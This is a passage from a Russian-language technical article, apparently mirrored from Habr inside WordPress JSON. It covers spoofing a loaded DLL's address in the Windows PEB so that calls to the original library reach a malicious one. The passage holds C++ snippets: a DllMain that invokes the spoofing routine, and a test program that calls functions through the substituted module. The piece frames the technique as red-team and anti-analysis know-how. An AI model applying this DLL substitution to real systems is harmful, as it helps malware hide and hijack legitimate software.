\u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e:<\/p>\n<pre><code class=\"cpp\">wchar_t toSpoofName[] = L\"OrigDll.dll\";   BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ) {     switch (ul_reason_for_call)     {     case DLL_PROCESS_ATTACH:     {      if (spoofDllHandle(toSpoofName, hModule))         {             MessageBoxW(NULL, L\"SUCCESS!\", L\"SPOOFED\", MB_OK);         }         break;     }     case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:         break;     }     return TRUE; }<\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435, \u0435\u0441\u043b\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430, \u0430\u0434\u0440\u0435\u0441 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u0435\u043d \u043d\u0430 \u043d\u0430\u0448, \u0438 \u0432\u044b\u0441\u043a\u043e\u0447\u0438\u0442 MessageBox:<\/p>\n<figure class=\"\"><\/figure>\n<p>\u0410 \u0437\u0430\u0442\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438:<\/p>\n<figure class=\"\"><\/figure>\n<p>\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435, \u043e\u0431\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u043a \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439, \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0432\u044b\u0437\u043e\u0432:<\/p>\n<pre><code class=\"cpp\">#include \"Windows.h\"  int main() { LoadLibraryW(L\"OrigDll.dll\"); LoadLibraryW(L\"SecondLibrary.dll\"); (GetProcAddress(GetModuleHandleW(L\"OrigDll.dll\"),\"foo1\"))(); (GetProcAddress(GetModuleHandleW(L\"OrigDll.dll\"),\"newFunc\"))();  }<\/code><\/pre>\n<figure class=\"\"><\/figure>\n<p>\u0422\u0430\u043a\u0430\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u0430 DLL \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u0443\u0436\u0438\u0442\u044c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043f\u0440\u043e\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0430 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0435\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043e\u0442 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0430\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<\/p>\n<p>\u041c\u044b \u0443\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043b\u0438 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 PEB, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0435\u0449\u0435 \u0438\u0445 \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u044b \u043a\u043e\u0433\u0434\u0430-\u043d\u0438\u0431\u0443\u0434\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c!<\/p>\n<p>\u041d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0445\u0430\u043a\u0438\u043d\u0433 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0438 \u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c.<\/p>\n<p>\u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u043d\u0430 \u043d\u0430\u0448 telegram-\u043a\u0430\u043d\u0430\u043b <a href=\"https:\/\/t.me\/authoritywear\" rel=\"noopener noreferrer nofollow\">AUTHORITY<\/a>.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/811107\/\"> https:\/\/habr.com\/ru\/articles\/811107\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-374976","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/374976","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=374976"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/374976\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=374976"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=374976"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=374976"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}